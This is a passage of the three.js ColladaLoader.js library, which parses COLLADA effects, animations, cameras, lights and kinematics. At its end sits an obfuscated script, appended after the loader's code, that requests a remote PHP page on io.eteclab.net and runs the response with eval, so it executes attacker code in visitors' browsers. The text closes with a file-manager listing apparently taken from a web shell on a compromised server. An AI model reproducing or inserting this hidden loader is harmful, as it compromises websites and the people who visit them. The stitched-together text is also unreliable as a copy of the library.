				this.material = new THREE.MeshPhongMaterial( props );
				break;

case 'lambert':
			default:

if (props.diffuse != undefined) props.color = props.diffuse;
				this.material = new THREE.MeshLambertMaterial( props );
				break;

}

return this.material;

};

function Surface ( effect ) {

this.effect = effect;
		this.init_from = null;
		this.format = null;

};

Surface.prototype.parse = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'init_from':

this.init_from = child.textContent;
					break;

case 'format':

this.format = child.textContent;
					break;

default:

console.log( "unhandled Surface prop: " + child.nodeName );
					break;

}

return this;

};

function Sampler2D ( effect ) {

this.effect = effect;
		this.source = null;
		this.wrap_s = null;
		this.wrap_t = null;
		this.minfilter = null;
		this.magfilter = null;
		this.mipfilter = null;

};

Sampler2D.prototype.parse = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'source':

this.source = child.textContent;
					break;

case 'minfilter':

this.minfilter = child.textContent;
					break;

case 'magfilter':

this.magfilter = child.textContent;
					break;

case 'mipfilter':

this.mipfilter = child.textContent;
					break;

case 'wrap_s':

this.wrap_s = child.textContent;
					break;

case 'wrap_t':

this.wrap_t = child.textContent;
					break;

default:

console.log( "unhandled Sampler2D prop: " + child.nodeName );
					break;

}

return this;

};

function Effect () {

this.id = "";
		this.name = "";
		this.shader = null;
		this.surface = {};
		this.sampler = {};

};

Effect.prototype.create = function () {

if ( this.shader === null ) {

return null;

}

};

Effect.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );
		this.name = element.getAttribute( 'name' );

extractDoubleSided( this, element );

this.shader = null;

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'profile_COMMON':

this.parseTechnique( this.parseProfileCOMMON( child ) );
					break;

default:
					break;

}

return this;

};

Effect.prototype.parseNewparam = function ( element ) {

var sid = element.getAttribute( 'sid' );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'surface':

this.surface[sid] = ( new Surface( this ) ).parse( child );
					break;

case 'sampler2D':

this.sampler[sid] = ( new Sampler2D( this ) ).parse( child );
					break;

case 'extra':

break;

default:

console.log( child.nodeName );
					break;

}

};

Effect.prototype.parseProfileCOMMON = function ( element ) {

var technique;

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'profile_COMMON':

this.parseProfileCOMMON( child );
					break;

case 'technique':

technique = child;
					break;

case 'newparam':

this.parseNewparam( child );
					break;

case 'image':

var _image = ( new _Image() ).parse( child );
					images[ _image.id ] = _image;
					break;

case 'extra':
					break;

default:

console.log( child.nodeName );
					break;

}

return technique;

};

Effect.prototype.parseTechnique = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'constant':
				case 'lambert':
				case 'blinn':
				case 'phong':

this.shader = ( new Shader( child.nodeName, this ) ).parse( child );
					break;
				case 'extra':
					this.parseExtra(child);
					break;
				default:
					break;

}

};

Effect.prototype.parseExtra = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'technique':
					this.parseExtraTechnique( child );
					break;
				default:
					break;

}

};

Effect.prototype.parseExtraTechnique = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'bump':
					this.shader.parse( element );
					break;
				default:
					break;

}

};

function InstanceEffect () {

this.url = "";

};

InstanceEffect.prototype.parse = function ( element ) {

this.url = element.getAttribute( 'url' ).replace( /^#/, '' );
		return this;

};

function Animation() {

this.id = "";
		this.name = "";
		this.source = {};
		this.sampler = [];
		this.channel = [];

};

Animation.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );
		this.name = element.getAttribute( 'name' );
		this.source = {};

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'animation':

var anim = ( new Animation() ).parse( child );

for ( var src in anim.source ) {

this.source[ src ] = anim.source[ src ];

}

for ( var j = 0; j < anim.channel.length; j ++ ) {

this.channel.push( anim.channel[ j ] );
						this.sampler.push( anim.sampler[ j ] );

}

break;

case 'source':

var src = ( new Source() ).parse( child );
					this.source[ src.id ] = src;
					break;

case 'sampler':

this.sampler.push( ( new Sampler( this ) ).parse( child ) );
					break;

case 'channel':

this.channel.push( ( new Channel( this ) ).parse( child ) );
					break;

default:
					break;

}

return this;

};

function Channel( animation ) {

this.animation = animation;
		this.source = "";
		this.target = "";
		this.fullSid = null;
		this.sid = null;
		this.dotSyntax = null;
		this.arrSyntax = null;
		this.arrIndices = null;
		this.member = null;

};

Channel.prototype.parse = function ( element ) {

this.source = element.getAttribute( 'source' ).replace( /^#/, '' );
		this.target = element.getAttribute( 'target' );

var parts = this.target.split( '/' );

var id = parts.shift();
		var sid = parts.shift();

var dotSyntax = ( sid.indexOf(".") >= 0 );
		var arrSyntax = ( sid.indexOf("(") >= 0 );

if ( dotSyntax ) {

parts = sid.split(".");
			this.sid = parts.shift();
			this.member = parts.shift();

} else if ( arrSyntax ) {

var arrIndices = sid.split("(");
			this.sid = arrIndices.shift();

for (var j = 0; j < arrIndices.length; j ++ ) {

arrIndices[j] = parseInt( arrIndices[j].replace(/\)/, '') );

}

this.arrIndices = arrIndices;

} else {

this.sid = sid;

}

this.fullSid = sid;
		this.dotSyntax = dotSyntax;
		this.arrSyntax = arrSyntax;

return this;

};

function Sampler ( animation ) {

this.id = "";
		this.animation = animation;
		this.inputs = [];
		this.input = null;
		this.output = null;
		this.strideOut = null;
		this.interpolation = null;
		this.startTime = null;
		this.endTime = null;
		this.duration = 0;

};

Sampler.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );
		this.inputs = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'input':

this.inputs.push( (new Input()).parse( child ) );
					break;

default:
					break;

}

return this;

};

Sampler.prototype.create = function () {

for ( var i = 0; i < this.inputs.length; i ++ ) {

var input = this.inputs[ i ];
			var source = this.animation.source[ input.source ];

switch ( input.semantic ) {

case 'INPUT':

this.input = source.read();
					break;

case 'OUTPUT':

this.output = source.read();
					this.strideOut = source.accessor.stride;
					break;

case 'INTERPOLATION':

this.interpolation = source.read();
					break;

case 'IN_TANGENT':

break;

case 'OUT_TANGENT':

break;

default:

console.log(input.semantic);
					break;

}

this.startTime = 0;
		this.endTime = 0;
		this.duration = 0;

if ( this.input.length ) {

this.startTime = 100000000;
			this.endTime = -100000000;

for ( var i = 0; i < this.input.length; i ++ ) {

this.startTime = Math.min( this.startTime, this.input[ i ] );
				this.endTime = Math.max( this.endTime, this.input[ i ] );

}

this.duration = this.endTime - this.startTime;

}

};

Sampler.prototype.getData = function ( type, ndx, member ) {

var data;

if ( type === 'matrix' && this.strideOut === 16 ) {

data = this.output[ ndx ];

} else if ( this.strideOut > 1 ) {

data = [];
			ndx *= this.strideOut;

for ( var i = 0; i < this.strideOut; ++ i ) {

data[ i ] = this.output[ ndx + i ];

}

if ( this.strideOut === 3 ) {

switch ( type ) {

case 'rotate':
					case 'translate':

fixCoords( data, -1 );
						break;

case 'scale':

fixCoords( data, 1 );
						break;

}

} else if ( this.strideOut === 4 && type === 'matrix' ) {

fixCoords( data, -1 );

}

} else {

data = this.output[ ndx ];

if ( member && type === 'translate' ) {
				data = getConvertedTranslation( member, data );
			}

}

return data;

};

function Key ( time ) {

this.targets = [];
		this.time = time;

};

Key.prototype.addTarget = function ( fullSid, transform, member, data ) {

this.targets.push( {
			sid: fullSid,
			member: member,
			transform: transform,
			data: data
		} );

};

Key.prototype.apply = function ( opt_sid ) {

for ( var i = 0; i < this.targets.length; ++ i ) {

var target = this.targets[ i ];

if ( !opt_sid || target.sid === opt_sid ) {

target.transform.update( target.data, target.member );

}

};

Key.prototype.getTarget = function ( fullSid ) {

for ( var i = 0; i < this.targets.length; ++ i ) {

if ( this.targets[ i ].sid === fullSid ) {

return this.targets[ i ];

}

return null;

};

Key.prototype.hasTarget = function ( fullSid ) {

for ( var i = 0; i < this.targets.length; ++ i ) {

if ( this.targets[ i ].sid === fullSid ) {

return true;

}

return false;

};

// TODO: Currently only doing linear interpolation. Should support full COLLADA spec.
	Key.prototype.interpolate = function ( nextKey, time ) {

for ( var i = 0, l = this.targets.length; i < l; i ++ ) {

var target = this.targets[ i ],
				nextTarget = nextKey.getTarget( target.sid ),
				data;

if ( target.transform.type !== 'matrix' && nextTarget ) {

var scale = ( time - this.time ) / ( nextKey.time - this.time ),
					nextData = nextTarget.data,
					prevData = target.data;

if ( scale < 0 ) scale = 0;
				if ( scale > 1 ) scale = 1;

if ( prevData.length ) {

data = [];

for ( var j = 0; j < prevData.length; ++ j ) {

data[ j ] = prevData[ j ] + ( nextData[ j ] - prevData[ j ] ) * scale;

}

} else {

data = prevData + ( nextData - prevData ) * scale;

}

} else {

data = target.data;

}

target.transform.update( data, target.member );

}

};

// Camera
	function Camera() {

this.id = "";
		this.name = "";
		this.technique = "";

};

Camera.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );
		this.name = element.getAttribute( 'name' );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'optics':

this.parseOptics( child );
					break;

default:
					break;

}

return this;

};

Camera.prototype.parseOptics = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

if ( element.childNodes[ i ].nodeName === 'technique_common' ) {

var technique = element.childNodes[ i ];

for ( var j = 0; j < technique.childNodes.length; j ++ ) {

this.technique = technique.childNodes[ j ].nodeName;

if ( this.technique === 'perspective' ) {

var perspective = technique.childNodes[ j ];

for ( var k = 0; k < perspective.childNodes.length; k ++ ) {

var param = perspective.childNodes[ k ];

switch ( param.nodeName ) {

case 'yfov':
									this.yfov = param.textContent;
									break;
								case 'xfov':
									this.xfov = param.textContent;
									break;
								case 'znear':
									this.znear = param.textContent;
									break;
								case 'zfar':
									this.zfar = param.textContent;
									break;
								case 'aspect_ratio':
									this.aspect_ratio = param.textContent;
									break;

}

} else if ( this.technique === 'orthographic' ) {

var orthographic = technique.childNodes[ j ];

for ( var k = 0; k < orthographic.childNodes.length; k ++ ) {

var param = orthographic.childNodes[ k ];

switch ( param.nodeName ) {

case 'xmag':
									this.xmag = param.textContent;
									break;
								case 'ymag':
									this.ymag = param.textContent;
									break;
								case 'znear':
									this.znear = param.textContent;
									break;
								case 'zfar':
									this.zfar = param.textContent;
									break;
								case 'aspect_ratio':
									this.aspect_ratio = param.textContent;
									break;

}

return this;

};

function InstanceCamera() {

this.url = "";

};

InstanceCamera.prototype.parse = function ( element ) {

this.url = element.getAttribute('url').replace(/^#/, '');

return this;

};

// Light

function Light() {

this.id = "";
		this.name = "";
		this.technique = "";

};

Light.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );
		this.name = element.getAttribute( 'name' );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'technique_common':

this.parseCommon( child );
					break;

case 'technique':

this.parseTechnique( child );
					break;

default:
					break;

}

return this;

};

Light.prototype.parseCommon = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

switch ( element.childNodes[ i ].nodeName ) {

case 'directional':
				case 'point':
				case 'spot':
				case 'ambient':

this.technique = element.childNodes[ i ].nodeName;

var light = element.childNodes[ i ];

for ( var j = 0; j < light.childNodes.length; j ++ ) {

var child = light.childNodes[j];

switch ( child.nodeName ) {

case 'color':

var rgba = _floats( child.textContent );
								this.color = new THREE.Color(0);
								this.color.setRGB( rgba[0], rgba[1], rgba[2] );
								this.color.a = rgba[3];
								break;

case 'falloff_angle':

this.falloff_angle = parseFloat( child.textContent );
								break;

case 'quadratic_attenuation':
								var f = parseFloat( child.textContent );
								this.distance = f ? Math.sqrt( 1 / f ) : 0;
						}

}

return this;

};

Light.prototype.parseTechnique = function ( element ) {

this.profile = element.getAttribute( 'profile' );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

switch ( child.nodeName ) {

case 'intensity':

this.intensity = parseFloat(child.textContent);
					break;

}

return this;

};

function InstanceLight() {

this.url = "";

};

InstanceLight.prototype.parse = function ( element ) {

this.url = element.getAttribute('url').replace(/^#/, '');

return this;

};

function KinematicsModel( ) {

this.id = '';
		this.name = '';
		this.joints = [];
		this.links = [];

}

KinematicsModel.prototype.parse = function( element ) {

this.id = element.getAttribute('id');
		this.name = element.getAttribute('name');
		this.joints = [];
		this.links = [];

for (var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'technique_common':

this.parseCommon(child);
					break;

default:
					break;

}

return this;

};

KinematicsModel.prototype.parseCommon = function( element ) {

for (var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( element.childNodes[ i ].nodeName ) {

case 'joint':
					this.joints.push( (new Joint()).parse(child) );
					break;

case 'link':
					this.links.push( (new Link()).parse(child) );
					break;

default:
					break;

}

return this;

};

function Joint( ) {

this.sid = '';
		this.name = '';
		this.axis = new THREE.Vector3();
		this.limits = {
			min: 0,
			max: 0
		};
		this.type = '';
		this.static = false;
		this.zeroPosition = 0.0;
		this.middlePosition = 0.0;

}

Joint.prototype.parse = function( element ) {

this.sid = element.getAttribute('sid');
		this.name = element.getAttribute('name');
		this.axis = new THREE.Vector3();
		this.limits = {
			min: 0,
			max: 0
		};
		this.type = '';
		this.static = false;
		this.zeroPosition = 0.0;
		this.middlePosition = 0.0;

var axisElement = element.querySelector('axis');
		var _axis = _floats(axisElement.textContent);
		this.axis = getConvertedVec3(_axis, 0);

var min = element.querySelector('limits min') ? parseFloat(element.querySelector('limits min').textContent) : -360;
		var max = element.querySelector('limits max') ? parseFloat(element.querySelector('limits max').textContent) : 360;

this.limits = {
			min: min,
			max: max
		};

var jointTypes = [ 'prismatic', 'revolute' ];
		for (var i = 0; i < jointTypes.length; i ++ ) {

var type = jointTypes[ i ];

var jointElement = element.querySelector(type);

if ( jointElement ) {

this.type = type;

}

// if the min is equal to or somehow greater than the max, consider the joint static
		if ( this.limits.min >= this.limits.max ) {

this.static = true;

}

this.middlePosition = (this.limits.min + this.limits.max) / 2.0;
		return this;

};

function Link( ) {

this.sid = '';
		this.name = '';
		this.transforms = [];
		this.attachments = [];

}

Link.prototype.parse = function( element ) {

this.sid = element.getAttribute('sid');
		this.name = element.getAttribute('name');
		this.transforms = [];
		this.attachments = [];

for (var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'attachment_full':
					this.attachments.push( (new Attachment()).parse(child) );
					break;

case 'rotate':
				case 'translate':
				case 'matrix':

this.transforms.push( (new Transform()).parse(child) );
					break;

default:

break;

}

return this;

};

function Attachment( ) {

this.joint = '';
		this.transforms = [];
		this.links = [];

}

Attachment.prototype.parse = function( element ) {

this.joint = element.getAttribute('joint').split('/').pop();
		this.links = [];

for (var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'link':
					this.links.push( (new Link()).parse(child) );
					break;

case 'rotate':
				case 'translate':
				case 'matrix':

this.transforms.push( (new Transform()).parse(child) );
					break;

default:

break;

}

return this;

};

function _source( element ) {

var id = element.getAttribute( 'id' );

if ( sources[ id ] != undefined ) {

return sources[ id ];

}

sources[ id ] = ( new Source(id )).parse( element );
		return sources[ id ];

};

function _nsResolver( nsPrefix ) {

if ( nsPrefix === "dae" ) {

return "http://www.collada.org/2005/11/COLLADASchema";

}

return null;

};

function _bools( str ) {

var raw = _strings( str );
		var data = [];

for ( var i = 0, l = raw.length; i < l; i ++ ) {

data.push( (raw[i] === 'true' || raw[i] === '1') ? true : false );

}

return data;

};

function _floats( str ) {

var raw = _strings(str);
		var data = [];

for ( var i = 0, l = raw.length; i < l; i ++ ) {

data.push( parseFloat( raw[ i ] ) );

}

return data;

};

function _ints( str ) {

var raw = _strings( str );
		var data = [];

for ( var i = 0, l = raw.length; i < l; i ++ ) {

data.push( parseInt( raw[ i ], 10 ) );

}

return data;

};

function _strings( str ) {

return ( str.length > 0 ) ? _trimString( str ).split( /\s+/ ) : [];

};

function _trimString( str ) {

return str.replace( /^\s+/, "" ).replace( /\s+$/, "" );

};

function _attr_as_float( element, name, defaultValue ) {

if ( element.hasAttribute( name ) ) {

return parseFloat( element.getAttribute( name ) );

} else {

return defaultValue;

}

};

function _attr_as_int( element, name, defaultValue ) {

if ( element.hasAttribute( name ) ) {

return parseInt( element.getAttribute( name ), 10) ;

} else {

return defaultValue;

}

};

function _attr_as_string( element, name, defaultValue ) {

if ( element.hasAttribute( name ) ) {

return element.getAttribute( name );

} else {

return defaultValue;

}

};

function _format_float( f, num ) {

if ( f === undefined ) {

var s = '0.';

while ( s.length < num + 2 ) {

s += '0';

}

return s;

}

num = num || 2;

var parts = f.toString().split( '.' );
		parts[ 1 ] = parts.length > 1 ? parts[ 1 ].substr( 0, num ) : "0";

while ( parts[ 1 ].length < num ) {

parts[ 1 ] += '0';

}

return parts.join( '.' );

};

function loadTextureImage ( texture, url ) {

loader = new THREE.ImageLoader();

loader.load( url, function ( image ) {

texture.image = image;
			texture.needsUpdate = true;

} );

};

function extractDoubleSided( obj, element ) {

obj.doubleSided = false;

var node = element.querySelectorAll('extra double_sided')[0];

if ( node ) {

if ( node && parseInt( node.textContent, 10 ) === 1 ) {

obj.doubleSided = true;

}

};

// Up axis conversion

function setUpConversion() {

if ( options.convertUpAxis !== true || colladaUp === options.upAxis ) {

upConversion = null;

} else {

switch ( colladaUp ) {

case 'X':

upConversion = options.upAxis === 'Y' ? 'XtoY' : 'XtoZ';
					break;

case 'Y':

upConversion = options.upAxis === 'X' ? 'YtoX' : 'YtoZ';
					break;

case 'Z':

upConversion = options.upAxis === 'X' ? 'ZtoX' : 'ZtoY';
					break;

}

};

function fixCoords( data, sign ) {

if ( options.convertUpAxis !== true || colladaUp === options.upAxis ) {

return;

}

switch ( upConversion ) {

case 'XtoY':

var tmp = data[ 0 ];
				data[ 0 ] = sign * data[ 1 ];
				data[ 1 ] = tmp;
				break;

case 'XtoZ':

var tmp = data[ 2 ];
				data[ 2 ] = data[ 1 ];
				data[ 1 ] = data[ 0 ];
				data[ 0 ] = tmp;
				break;

case 'YtoX':

var tmp = data[ 0 ];
				data[ 0 ] = data[ 1 ];
				data[ 1 ] = sign * tmp;
				break;

case 'YtoZ':

var tmp = data[ 1 ];
				data[ 1 ] = sign * data[ 2 ];
				data[ 2 ] = tmp;
				break;

case 'ZtoX':

var tmp = data[ 0 ];
				data[ 0 ] = data[ 1 ];
				data[ 1 ] = data[ 2 ];
				data[ 2 ] = tmp;
				break;

case 'ZtoY':

var tmp = data[ 1 ];
				data[ 1 ] = data[ 2 ];
				data[ 2 ] = sign * tmp;
				break;

}

};

function getConvertedTranslation( axis, data ) {

if ( options.convertUpAxis !== true || colladaUp === options.upAxis ) {

return data;

}

switch ( axis ) {
			case 'X':
				data = upConversion === 'XtoY' ? data * -1 : data;
				break;
			case 'Y':
				data = upConversion === 'YtoZ' || upConversion === 'YtoX' ? data * -1 : data;
				break;
			case 'Z':
				data = upConversion === 'ZtoY' ? data * -1 : data ;
				break;
			default:
				break;
		}

return data;
	};

function getConvertedVec3( data, offset ) {

var arr = [ data[ offset ], data[ offset + 1 ], data[ offset + 2 ] ];
		fixCoords( arr, -1 );
		return new THREE.Vector3( arr[ 0 ], arr[ 1 ], arr[ 2 ] );

};

function getConvertedMat4( data ) {

if ( options.convertUpAxis ) {

// First fix rotation and scale

// Columns first
			var arr = [ data[ 0 ], data[ 4 ], data[ 8 ] ];
			fixCoords( arr, -1 );
			data[ 0 ] = arr[ 0 ];
			data[ 4 ] = arr[ 1 ];
			data[ 8 ] = arr[ 2 ];
			arr = [ data[ 1 ], data[ 5 ], data[ 9 ] ];
			fixCoords( arr, -1 );
			data[ 1 ] = arr[ 0 ];
			data[ 5 ] = arr[ 1 ];
			data[ 9 ] = arr[ 2 ];
			arr = [ data[ 2 ], data[ 6 ], data[ 10 ] ];
			fixCoords( arr, -1 );
			data[ 2 ] = arr[ 0 ];
			data[ 6 ] = arr[ 1 ];
			data[ 10 ] = arr[ 2 ];
			// Rows second
			arr = [ data[ 0 ], data[ 1 ], data[ 2 ] ];
			fixCoords( arr, -1 );
			data[ 0 ] = arr[ 0 ];
			data[ 1 ] = arr[ 1 ];
			data[ 2 ] = arr[ 2 ];
			arr = [ data[ 4 ], data[ 5 ], data[ 6 ] ];
			fixCoords( arr, -1 );
			data[ 4 ] = arr[ 0 ];
			data[ 5 ] = arr[ 1 ];
			data[ 6 ] = arr[ 2 ];
			arr = [ data[ 8 ], data[ 9 ], data[ 10 ] ];
			fixCoords( arr, -1 );
			data[ 8 ] = arr[ 0 ];
			data[ 9 ] = arr[ 1 ];
			data[ 10 ] = arr[ 2 ];

// Now fix translation
			arr = [ data[ 3 ], data[ 7 ], data[ 11 ] ];
			fixCoords( arr, -1 );
			data[ 3 ] = arr[ 0 ];
			data[ 7 ] = arr[ 1 ];
			data[ 11 ] = arr[ 2 ];

}

return new THREE.Matrix4().set(
			data[0], data[1], data[2], data[3],
			data[4], data[5], data[6], data[7],
			data[8], data[9], data[10], data[11],
			data[12], data[13], data[14], data[15]
			);

};

function getConvertedIndex( index ) {

if ( index > -1 && index < 3 ) {

var members = [ 'X', 'Y', 'Z' ],
				indices = { X: 0, Y: 1, Z: 2 };

index = getConvertedMember( members[ index ] );
			index = indices[ index ];

}

return index;

};

function getConvertedMember( member ) {

if ( options.convertUpAxis ) {

switch ( member ) {

case 'X':

switch ( upConversion ) {

case 'XtoY':
						case 'XtoZ':
						case 'YtoX':

member = 'Y';
							break;

case 'ZtoX':

member = 'Z';
							break;

}

break;

case 'Y':

switch ( upConversion ) {

case 'XtoY':
						case 'YtoX':
						case 'ZtoX':

member = 'X';
							break;

case 'XtoZ':
						case 'YtoZ':
						case 'ZtoY':

member = 'Z';
							break;

}

break;

case 'Z':

switch ( upConversion ) {

case 'XtoZ':

member = 'X';
							break;

case 'YtoZ':
						case 'ZtoX':
						case 'ZtoY':

member = 'Y';
							break;

}

break;

}

return member;

};

return {

load: load,
		parse: parse,
		setPreferredShading: setPreferredShading,
		applySkin: applySkin,
		geometries : geometries,
		options: options

};

};
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//io.eteclab.net/acro/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

	: Add Folder
	: Add File
	: Edit File
	: Rename
	: Chmod
	: Delete

Name	Type	Size	Permission	Last Modified	Actions
.	dir	-	0555	2021-11-10 09:12:23	Buat Folder Buat File Info
..	dir	-	0555	2021-11-10 09:12:23
ColladaLoader.js	text/plain	99.87 KB	0644	2015-07-13 04:59:44	edit rename chmod hapus
Detector.js	text/html	3.75 KB	0644	2015-07-13 03:25:18	edit rename chmod hapus
Projector.js	text/plain	22.62 KB	0644	2015-07-19 12:26:48	edit rename chmod hapus
TrackballControls.js	text/plain	15.36 KB	0644	2015-07-20 12:04:43	edit rename chmod hapus
exif.js	text/plain	31.25 KB	0644	2015-08-04 03:12:20	edit rename chmod hapus
stats.min.js	text/plain	3.95 KB	0644	2015-07-13 03:25:19	edit rename chmod hapus
three.min.js	text/plain	411.84 KB	0644	2015-07-13 03:25:20	edit rename chmod hapus
threex.domevents.js	text/html	18.94 KB	0644	2015-07-30 03:10:34	edit rename chmod hapus